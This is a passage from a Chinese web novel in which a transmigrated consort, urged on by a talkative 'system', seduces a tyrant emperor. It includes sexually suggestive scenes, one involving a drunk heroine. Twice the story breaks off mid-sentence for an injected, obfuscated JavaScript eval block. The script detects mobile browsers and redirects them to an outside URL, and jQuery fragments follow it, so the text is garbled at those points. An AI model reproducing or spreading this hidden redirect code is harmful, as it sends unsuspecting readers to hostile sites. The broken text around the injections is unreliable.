44444来了劲:宿主,你不知道,我知道呀。我和你说,裴恕精力旺盛爱锻炼,杀敌骑马都在行,他腰好得不得了,甚至可以在马上变幻各种姿势,全身都是使不完的力气。
44444喋喋不休:对了,那里的本钱你看过书也知道,那真是雄伟啊!你不信,等我把书翻出来,念给你听听,复习一下。这里的样子,裴恕忍不住自我疏解的时候,就有过描写。
薛夷光心里抓狂:啊啊啊,我受不了了,小嘴巴!
系统艰难忍住分享欲,被她控住,小声回答:不说话。
薛夷光是看过一些类似颜色的小说,要说起各种场景,甚至一些人体体位的研究,她还是能纸上谈兵一下。
可是到了现实,她完全懵了呀,又害怕又紧张又羞涩又想跑,还怕眼前这位暴君当场砍了她。
裴恕站在水汽中,莫名有些发燥,他看着薛夷光,掩住眼里趣味,张开了双臂:“薛婕妤,开始吧。”
薛夷光呼吸一滞,糟了,该怎么办,给裴恕脱衣服吗?
“是,陛,陛下。”
怕他不耐烦,她只能磨磨蹭蹭走到裴恕身边,伸出颤抖的手。
裴恕低头,瞧见她低眉垂目,眼睫乱颤,浅浅绯红从莹白柔软的耳垂一路蔓延到纤细的脖子,精致的锁骨,旖旎蔓延,最后藏在了衣裳下。
半遮半掩着,春色更加含蓄撩人。
水汽微窒感和灼热感混着她身上的气息扑面而来,让裴恕心里焦躁起来,当她柔荑雪白的手颤抖着触到他的腰带时,分明没碰到皮肤,却难以抑制的觉得腰上有种酥麻蓦然烧灼起来,蔓延到了脊背处。
裴恕身子敏感的颤栗了一下,他喉头滚动,暗沉深邃的目光往下,触及的是她秾纤合度的身子,软若无骨的纤腰。
若是揽她入怀,凭他的身量一定能将她整个人严丝合缝的圈在怀中,完全掌控。
裴恕眼尾飞红,他闭了闭眼,却发现自己根本克制不住越发急促灼热的呼吸,以及剧烈的身体反应。
他感觉自己快要失控了。
10. 第 10 章
薛夷光低头给裴恕解腰带,经过那次侍寝,如今她已经会解腰带了。
不知道是不是受44444的影响,她解腰带的过程中,原先看过的小说内容,就已经浮现在脑中,让她脸颊发热。
那段小说,是女主薛妙霜已经结识了裴恕重用的状元郎周晗锦,并成了他的未婚妻。通过周晗锦对裴恕性情、习惯的描述,薛妙霜推测裴恕身有重欲而不愿意疏解。他越是压抑,爆发起来才更加剧烈。
一场宫宴,她特意请周晗锦带她入宫,从细节之中确定的自己的猜想。
为了报灭国之仇,薛妙霜打算离间裴恕和周晗锦的关系。她给裴恕下了春.药,想要刺激他忍受不住病症,让他淫.性大发,强占了她这个心腹臣子的未婚妻。
对于颜色文里的复国报仇情节,本就没有什么逻辑可言。
可是那一句句描述好像忽然触发了薛夷光更为深刻的记忆。
【裴恕意识到自己中了春.药,已然浑身发热,情潮涌动。当着满殿群臣,他脑子都好像被点燃了一般,他嘴唇抿紧,用极强的毅力控制住了即将出口的声音。】
【殿下群臣只见裴恕平日清贵俊逸的面上烧红一片,眼尾红唇发红,那双显得冷漠疏离的眼中有些迷离,还以为是陛下不胜酒力。所以很快,陛下便提前离席了。陛下这样光彩熠熠的人离席,饮宴都变得清冷不少。】
薛夷光手颤了颤,目光下垂之时,便见到那明显变得很是显眼而隆起的布料。
她瞳孔地震,连脑子都烧灼混乱起来,却忍不住去想。
这个,是她想的那个吗?不可能啊,她什么都没做,他怎么就这样了呢?
44444已经在脑中尖叫了:啊啊啊啊,宿主,裴恕他有反应了!你看吧,我就说他很有本钱的,绝对没有骗你!
裴恕见薛夷光停住动作,目光下垂直勾勾看着自己那处,却手足无措的模样。
他猛然有些恼怒,一下就背过身去,嗓音好像结了冰:“薛婕妤怎么跟呆头鹅一般,傻傻愣愣的,若你实在不会伺候,朕明日便给你送个宫中教习教你。”
千万不要宫中教习啊!
薛夷光回神,来不及告罪。就见裴恕三两下取下头上的玉冠,随意丢下,他扯下繁复的外衫和中衣,只穿着一身雪白柔软的亵衣。
他长身玉立,背对薛夷光。身影高挑挺拔,宽肩窄腰,亵衣轻薄,隐隐能感受到他流畅却不过分夸张的肌肉线条,显得很有力量感。
裴恕很快走入温泉池水之中,墨发散披,雪白的亵衣下的肌理若隐若现,缭绕的水汽间,像仙界高岭之花男仙堕入春池,当真是顶级的男色。
薛夷哪里见过这令人头脑发昏的场面,她想要住脑,可是原文描述的场景却用越发清晰和有画面感。
【裴恕到了一个就近的偏殿,实在是难以忍受。耳边却是传来一阵吵闹,原来是当朝状元,翰林编修的未婚妻迷路了,正在门外问路。】
【他听到女子那娇软无措的声线,越发心烦意乱,直接下令将其拖走。随后他令人抬了一大桶凉水进了浴桶之中。凉水无法纾解,可是他越是压抑,越是灼热,他是控制,越是失控。若是放纵欲望,随意找一女子解决,裴恕心中觉得又和野兽无异,而他向来能掌控自己的。】
【这一晚,他用那双习惯了手持御笔,持剑张弓的手忙碌许久。】
薛夷光耳根发烫,心跳加速。
她紧张得抬眼往那水池中一瞄,正看到水波晃荡,裴恕的表情看不清楚,但眼神隐约是看着她的。
薛夷光好像被烫到般下意识避开那眼神,她脚步慌乱的后退一步,轻轻撞到了屏风旁的小凭几。
44444见状,不断给她打气:宿主,你别怕啊,你理论看得挺多的,这事儿根本不难,直接莽上去不就行了。此时不冲还待何时,大量寿命值就在眼前!
薛夷光充耳不闻,撞到这小几,她好像有了依靠一般,立即坐下来,低下头,随手倒了一杯桌子上的饮子喝了压压惊。
这饮子入口,口感无比绵软柔顺,酸酸甜甜的滋味之中,隐隐带着一种花香、果香的芬芳。她定睛一看,饮子竟然是浅浅的粉色,放了碎冰后,颜色越发显得漂亮。
忍不住就多喝了两杯。
也不知这饮子是什么果子做的,味道真是不错,等明后日抽空问问肖正祥,要不到饮子,要个方子也行。
三杯下肚,薛夷光脸上浮现出一层浅浅的粉色,她桃花眼中水光氤氲,看任何人和东西之时更多一份迷离与深情。
她头也有些晕,眼前一切好似打了滤镜,显得朦胧化了。
44444也没想到,不过三小杯度数很轻的杏花醉,宿主就已经开始醉了。
这次推进进度条的大好机会不能放手,44444就不住怂恿:宿主,莽上去啊,酒壮怂人胆。
薛夷光脑子本就晕晕乎乎的,一听44444说自己是怂人,立即被激起了逆反心,想要证明自己:“你别乱说,我才不是怂人,我最勇敢了。”
她站起身,身子轻微晃了一下,然后坚定的往温泉里走去。
裴恕只见方才还对自己避之不及的薛夷光,现下竟是摇摇晃晃的往池子边走来,离自己距离越来越近,也不知她到底要做什么。
他正要张口询问,她却“扑通”一声,干脆利落的跳进水里。
飞溅的水花沾了满脸,裴恕蹙眉:“好大的胆子,薛婕妤,你要做什么?”
薛夷光一张嘴:“咕噜咕噜,咕噜咕噜......”
裴恕:“......”
她说不出话来,一张嘴就是喝水,一呼吸就是呛水,她开始在水里扑腾,出于求生欲,一把抱住了眼前炽热的躯体,并用力浮出了水面。
裴恕腰上紧紧缠住了一双柔软的手臂,贴近一具柔软玲珑的身子,他浑身一僵。
水花浮动间,薛夷光浮出水面,仰头同他面对面的呼吸。她的呼吸急促地同自己交缠,她身上清甜的花香
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127983|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夹杂着杏花醉的酒香扑面而来,滴滴水花溅在他身上脸上,裴恕感觉已经平息下去的热意,此刻像水一般湿淋淋,密匝匝的缠住了他。
她乌黑长发旖旎凌乱,弯弯延延的垂下。一张芙蓉面缀了水珠,显得越发娇艳欲滴,她双眸微醺,呆呆的看着他,不知道在想些什么。
美人颜色朱酡,区区杏花醉而已,这薛夷光竟如此不胜酒力。
裴恕侧头,躲过她清甜好闻的气息,嗓音愠怒:“不想死就放开。”
44444来了劲:宿主怕什么,直接莽,就亲他,亲得他说不出拒绝的话!
薛夷光嘟囔:“我才不怕。”
她扬起一双满含春水的妙目,盯着裴恕的唇,感觉还挺好看。他棱角分明的脸,修长优美的脖子也很好看,那滑动了一下喉结,有种说不来的诱惑和有趣。
所以它为什么会动呢?
薛夷光仰头含住了那会滚动的喉结,尝试性地轻轻舔.舐,重重吮吸,感觉它又动了,便用牙齿惩罚性.的亲咬几下。
裴恕眼瞳骤然深黯,细细密密的酥,微痛刺激的痒,湿润温热的麻快速传遍全身,令得他眼尾发红,呼吸急促。
他一把钳住薛夷光的脸,将她抵在池壁上,再也克制不住。他像是高岭之花彻底堕落,眼里的冷静淡漠变成全然的炽热重欲。
裴恕钳住薛夷光的脸,拇指忍不住摩挲着她的唇,见着柔嫩如花的唇瓣越来越红,他嗓子都哑了:“你知道自己在做什么吗?勾引朕?”
44444尖叫一声:真有张力,宿主,别怕含手指!
薛夷光:要说几次,我才不怕,我很勇的!
裴恕以为薛夷光会怕,结果她懵懂茫然,盈盈堪怜的眼盯着他,红唇却微微张开,将他手含进去了。
活色生香。
裴恕瞳孔微缩,身体颤了一下,体内的火焰燃烧得他快要失去理智。
他本是一国君主,既然心有欲望,抵抗不了薛夷光的诱惑,那又何须克制?这可是她自找的。
裴恕唇角露出笑意,眼神却有些凶狠的盯着薛夷光,好似野兽进食时肆意裸露的深深欲望。
他反手搂住薛夷光,顺势用自己的手在她柔软湿润的檀口里搅弄。
薛夷光不适,她眉心微蹙,伸出香软小巧的舌头想要推他的手指出去:“不要了,不准乱动,你好烦。”
乱撩拨一通,现在她想叫停了,真想得美。
裴恕轻笑:“要不要,可由不得你。”
他抽出湿润的手指,依旧钳住薛夷光的脸颊,第一次对她低下了高昂的头颅,吻住了她的唇。
薛夷光脑子混沌,过了很久都不知道自己在干什么,只觉得手酸意乱。
她有些疲倦,便靠在宽阔坚硬,散发着龙涎香的胸膛上睡过去了。
她皱眉起头,这应该不是她的床,这到底是什么床,自己还会乱动?颂书怎么把她的床布置得这么热,这么硬邦邦的?哎,算了,随便睡睡算了。
11. 第 11 章
温暖明亮的阳光从明瓦雕花窗中斜照而入,斑斓柔和的打在明黄绣龙纹的床帐上。
薛夷光觉得有些热,她依旧闭着眼睛蹬开被子,伸出发酸的手往床头柜摸了摸,却只摸到光滑柔软的布料,根本不见手机的踪影。
不对。
她心里一突,闻到淡淡的龙涎香夹杂着雨后清新的气息萦绕在空中后,她睁开来了眼睛,猛然坐了起来。
陌生的寝殿,陌生的床。
薛夷光环顾四周,忽然想起昨天她到温泉浴池那儿伺候裴恕沐浴去了,不过她怎么会在这里呢?
44444出声:宿主喝醉断片了吗?你再想想,能想得起来发生了什么吗?
薛夷光想了想,可记忆就停在自己倒饮子喝的时候,至于后面发生了什么事情,她脑子里完全一片空白,想不起来了。
她有些紧张:44444,我想不起来,我应该没发什么酒疯吧?
44444有些遗憾:真想不起来了?那你抬下右手。
薛夷光不明所以,将右手抬起。
44444发出诡异的机械笑声:宿主,嘿嘿嘿,你感觉手酸吗?
薛夷光点头:你吃错药了,笑得那么诡异?我手腕那儿确实有点酸,手心还有点干燥,像是被什么东西磨到了。
44444顿时发出杠铃一样的笑声,空气里一时充满了欢快的气息:哈哈哈,嘻嘻嘻,嘿嘿嘿,确实是磨到了呢。宿主可以看看你的寿命值,你再想想你昨晚磨的是什么嘻嘻嘻。
薛夷光揉了揉耳朵:别笑了,听不了一点。
她看了眼手腕,顿时目瞪口呆。手腕上倒计时变成了48天零05:00:00,寿命忽然就直接暴增了整整31天!
老天奶,这黄黄的攻略系统,不是只有和裴恕亲密接触,才给加寿命值吗?所以她昨晚到底做了什么?
44444怪笑起来:做了什么?宿主想想你发酸的手,根据多年的看文经验,你能想象到你磨了什么吗?
薛夷光抬起自己白皙柔软的手掌,作为脑子里也塞了好多颜色场景的秒懂女孩,她瞬间秒懂了44444话里的意思。
“啊!我的手脏了,不能要了!”
薛夷光立即往后倒在床上,身子乱蛄蛹翻滚起来。她面色烧红,整个人像是被蒸熟了一样,感觉快要喘不过气了。
作为网上欲黄大帝,口嗨王者,嗑生嗑死的打工人冲浪者,现实中其实战绩为零,唯唯诺诺。更可怕的是异性一靠近,她就感觉怪异且时刻想扛起火车要跑路。她过度有边界感,却发生了这样的事,薛夷光感觉天塌了呀!
虽然知道有任务要做,可是还是不习惯啊。
薛夷光强忍尴尬社死,心如死灰:44444,这事是我主动的吗?话说裴恕不是个禁欲到死,厌恶别人碰他的角色吗?怎么他没有砍了我?
44444:嘿嘿嘿,这事是宿主先主动的,至于裴恕,我反正感觉他挺愉悦的。宿主不要别扭,反正这是双赢的事情。现在我们知道了,裴恕还是可以撩动的。那你攻略起来,难度就降低了一些呢。
薛夷光已经听不下去了,她有些破防的捂住发红的脸,四肢摊平:“呜呜呜,竟然是我主动的,俺真不中勒!”
寝殿外的颂书听到动静,她轻轻敲门,嗓音含着喜悦:“娘娘醒了吗?您可要起身洗漱了,一会儿陛下也该下朝回来了。”
薛夷光立即放下手,翻身起来:“醒了醒了!颂书临画,你们快进来,咱们快点洗漱,然后马上回蓬莱宫去。”
颂书临画推开门进来,她们二人带着几个眼生的宫女,送来了洗漱的水,新的衣裳首饰。
薛夷光一看这阵势,感觉没有半个时辰弄不完,她快速走到水盆旁:“不要弄那么复杂,我们快速弄完回去吧,不要在这里打扰陛下了。”
颂书和临画也是感觉真真奇怪,怎么婕妤娘娘彷佛对陛下的恩宠避之不及一般。按理说娘娘她从越国到周国,成了宫妃,所求的不就是能得陛下的恩宠,让宫中的日子过得好些吗?
颂书疑惑:“娘娘昨晚同陛下留宿御书房暖阁,今日娘娘该用些早膳,等陛下下朝了,同陛下告辞了再走呀。陛下未曾允许,咱们就这样回去了,会不会有些失礼?”
她顿了一下,观察薛夷光的神色,支支吾吾,很是为难:“况且今日江小将军大捷,夺下了越国、卫国侵扰周国的两座城池的喜讯都传遍朝野了。娘娘无论如何,也该同陛下道喜再走。”
薛夷光立即理解了她们的为难,因为她是越国公主,她们口中江阙告捷的大好消息,对她来说算是噩耗了。
不过她和原主其实都不太在乎这个,更别提为越国难过了。
对她来说,更重要的消息是男主之一的江阙竟然大捷要班师回朝了。那就证明着原文女主薛妙霜,已经和他邂逅,说不定他们两个都已经在军营里做得不知天地为何物了。
薛妙霜要跟着江阙到京城向裴恕复国报仇,这对于薛夷光想要攻略裴恕而言,肯定是增加了许多的阻碍。万一像原文一样,江阙、周晗锦、薛蘅素三人联手,在她没刷够寿命值,没逃出周国皇宫时,他们就将裴恕干掉了,那她现在所做的一切,岂不是没有意义了。
薛妙霜叹了口气,现在她和裴恕算是一条绳上的蚂蚱了,她忍不住为裴恕这狗皇帝担心起他的狗命来。
临画见薛夷光神色不好,以为她为越国担忧,还算小声劝说:“娘娘咱们还是辞了陛下再走吧,万一陛下发怒,那可不好了。”
薛夷光其实也怕走了就触发裴恕喜怒无常,嗜杀成性的脾性,顺势道:“那就留下吧,等陛下回来辞了他再走。”
她洗漱完,坐好任由颂书、临画摆弄。
等刚才社死、担忧的情绪完全消退之后,薛夷光的理智就开始上来了。
她真没想到,裴恕也会因为别人动欲,且控制不住自己。看来攻略他攒寿命这事,其实也不是完全做不到,只是她要克服一些心理障碍。
薛夷光不想等死,死这个字说起来容易,但没有任何一种死的方式是轻松无痛的。原主割腕时的痛苦她也尝过了,那滋味真不是人能承受的,现在想起来她都怕得很。
这样看来她压根不想死,她想好好活下去。现阶段来看,她就确实应该克服心里的障碍去攻略裴恕,不应该总想着跑路和退退退。
当然,如果能在三个男主联合夺了裴恕性命之前,她刷完寿命值,跑出宫外生活,那就是最完美的了。
44444不住赞成:宿主,你能这样想就好了。不过你还是要想办法保住裴恕的命,万一你寿命值刷不够呢?反正他活得久,你就活得久,你们是统一战线的。
44444说个不停:其实仔细想想你也不亏的,裴恕身材样貌财富样样都很行,网上不是说,男人最好的就是“潘驴邓小闲”吗?潘安的美貌,裴恕有,驴的大行货,裴恕也有养得好大龟,钱财多的像邓通一样,这就更没说的了,毕竟皇帝富有四海啊。
44444叹了口气:只是唯独这小意温柔和闲情逸致这两样他缺了,但世界上没有谁是完美的,五样有三样,也够了。
薛夷光嘴角抽搐:你说的话也太糙了。他是外表不错,可是这种顶级的疯批帝王,攻略起来搞不好是要命的。平常小说里电视剧里嗑嗑得了,这要是现代,我高低得报警把他送进去改造改造。
不过,这是一本小说构成的世界,她也就只能乖乖苟命了。
颂书放下胭脂,温柔一笑:“娘娘,梳好妆了,您看看满意吗?”
薛夷光看向镜中,她换了一身绯色缂丝海棠裙,头发梳成双鬟飞仙髻,多用花钿珍珠宝石做头饰。耳朵上戴了雅致玉雕玉兰耳坠,显得有些端庄婉约又不失灵动秀美。
无论是之前心怀鬼胎,爱道德绑架的红螺、翠羽,还是现在的两个宫女,手艺都非常高超。
薛夷光不住的赞叹:“你们梳得很好,反正我是没有这样好的手艺,你们真是太厉害了,感觉我好像变了个人似的,太精致了。”
要是在后世,她们一定是有名的古风化妆师了,可惜这该死的时代困住了她们。
“微末技艺罢了,不值得娘娘这般夸赞。”
颂书和临画谦虚笑了笑,心里却有些高兴。她们也知道薛婕妤其实还挺好伺候的,性子宽和,不像传闻中那般跋扈。
薛夷光用完早膳,满足了自己早就饥肠辘辘的肚子,她离开寝室,走到御书房外的连廊上放放风,消消食。
午后的春风又轻又软,宫墙下浅粉的蔷薇花苞,穗子一般簇簇紧挨着,想来不日便可绽放出密密匝匝的花。雨后空气湿润清新,风稍微大些时,带动廊下的铜铃轻响,一切都是怡然轻松的。
薛夷光廊下散了一圈步,凭栏远眺时,正好看见裴恕分花拂柳而来。
他容光焕发,唇角罕见挂了不那么压迫的笑意,眼中晦涩阴沉之意少了些,整个人显得越发神仪明秀,姿容如玉。
一位身着绯红官袍的中年臣子跟在他身后,两人正边走边交谈着什么,神色都还算轻松。
薛夷光在想要不要避开时,裴恕微微含笑的眼,已然看到了她。
薛夷光不着痕迹握起拳头,用指甲刺了刺掌心,她朝裴恕扬起柔和欣喜的笑容,躬身行礼:“臣妾见过陛下,陛下万安。”
裴恕愣了一下,脑海中闪过昨夜的情景,他眸色深了些,唇角浅笑的弧度却没变化:“薛婕妤请起。”
一旁的臣子见状,格外好奇的看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127984|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了眼薛夷光一眼,又很快垂眸避开,行礼道:“微臣见过婕妤娘娘。”
薛夷光笑笑,想着人家有事,攻略不在一时,她招呼也打了,便可以溜了:“大人无需多礼。”
她对裴恕正要开口告辞,裴恕却看向那臣子,笑容浅淡,不怒自威:“徐大人,今日便到此罢。半月后战士们的庆功宴,就交由礼部操办。”
中年臣子很有眼色,他再次看了眼薛夷光,掩下眼中的惊异,连忙躬身:“陛下放心,臣定然仔细办差,不留余力。陛下,娘娘,微臣告退。”
他很快走了。
薛夷光见状,也低眉敛目,柔声行礼:“陛下国事繁忙,定要仔细身子,不要太过劳累。臣妾叨扰陛下许久,也告退回蓬莱宫了。”
裴恕垂目打量她片刻,笑意收敛起来,语气发冷:“婕妤应该听到周国大捷的喜讯,你竟然不恨朕?”
薛夷光心里发紧,她用力掐了掐自己,一双微微泛红的眼睛楚楚可怜的看着裴恕:“陛下,臣妾斗胆,此乃臣妾肺腑之言,其实越国之中并无人待臣妾好,臣妾来周国同陛下和亲,已然是报了越国生养之恩了。”
她抬手擦了擦眼角湿润处,想着裴恕就是自己的寿命,自己的寿命,她真的珍惜喜爱得不得了。
所以薛夷光下意识就用了毕生的演技,真诚万分的看着裴恕:“自从踏入周国之后,臣妾心里就暗暗发誓,日后只把周国当成家,只把陛下当成夫君。陛下问臣妾恨不恨,臣妾只能说,对陛下臣妾没有恨,只有爱和敬。”
裴恕细细打量,竟发觉之前虽满口喜爱他,面上却无甚真诚的薛夷光,今日竟然真情意切得不得了。
就好像她是真的半点不恨他,她是真的爱极了他,真的将满腔的爱和敬都灌注到了他身上。
鬼蜮阴谋体验得多了,却从未体验过这样真切炙热的感觉,裴恕心里隐隐有些不适应,他别开眼睛。
“婕妤一番剖白,真令朕感动。既然婕妤舍不得朕,朕又忙于国事,那只好请爱妃为朕红袖添香,也算一段佳话了。”
裴恕心想,不论这薛夷光葫芦里装的什么药,管她什么真情假意的,她性情大变,好似换了个人,自己正好又对此十分好奇。所谓欲先取之,必先予之,想要弄清她身上的秘密,自然要亲近她一些。
更何况,经过昨夜的亲近,他奇异的发现,自己果然不是很抗拒薛夷光的靠近,相反还有些渴求。既然如此,顺从自己的心意又何妨?
薛夷光抿抿唇,抬起一双看狗也深情的桃花眼,满是惊喜高兴的看着裴恕:“臣妾遵旨,若非怕打扰陛下,其实臣妾是一刻也离不得陛下的。”
一旁的肖正祥笑容大了些。
裴恕清咳一声:“那便来罢。”
裴恕几步走到中正堂里令肖正理好今日的折子,开始细心批阅。
薛夷光在肖正祥的指导下,安静细致的磨墨,连眼神都没有往那些折子上看。
毕竟她还有个越国公主的身份,虽然刚才她已经对裴恕坚决的表明了自己对越国的态度,但她也不敢造次,万一被当成间谍,那真是有口也说不清了。
裴恕很快看完第一份折子,他眉眼轻松,手执御笔,朱批后将折子放在一旁,继续看第二份,第三份。
看到第四份的时候,他彻底冷了脸色,冷斥责一声:“这衡州知府好大的胆子,折子不好好写,全是说一些逢迎拍马,阿谀奉承,浮夸无用的言辞。”
“且这样风格的折子,这段时日多了起来。这衡州府衙这两年衙门里的账册都混乱着,宋致不好好办差,全拍马去了。真是上梁不正下梁歪,一个衙门里,没几个清介务实的。这些人,死不足惜!”
肖正祥闻言,忙道:“陛下息怒,不要为这些佞臣气坏了身子啊。”
这古代折子薛夷光其实在网上见过,有些臣子确实写得天花乱坠,全是拍马屁的话。若是昏君,见了这样的折子,定然高兴
不过,看着裴恕发怒的样子,薛夷光忽然灵机一动。
话说,她是做文员的,最熟悉的就是办公软件了。
要说其叙述的简洁条理性,文字叙述肯定是比不上表格运用的。
她说出来表格的制作方法来,虽然有点干涉国政,但言辞卑微一点,也不是不能试试。
无论裴恕采不采用,也能表示她出的一番关心和分忧。
薛夷光想了想,鼓足勇气,抬手轻轻抚了抚裴恕的背,嗓音轻柔,一脸单纯的模样。
“陛下息怒,这些臣子真是不识好歹,竟敢让陛下息怒,臣妾看陛下动怒,可心疼啦。不过臣妾忽然想到一个法子,不知道对这样的事情,有没有用。只是臣妾一个妇道人家不好妄言,怕惹了笑话,失了分寸,就不太敢说了。”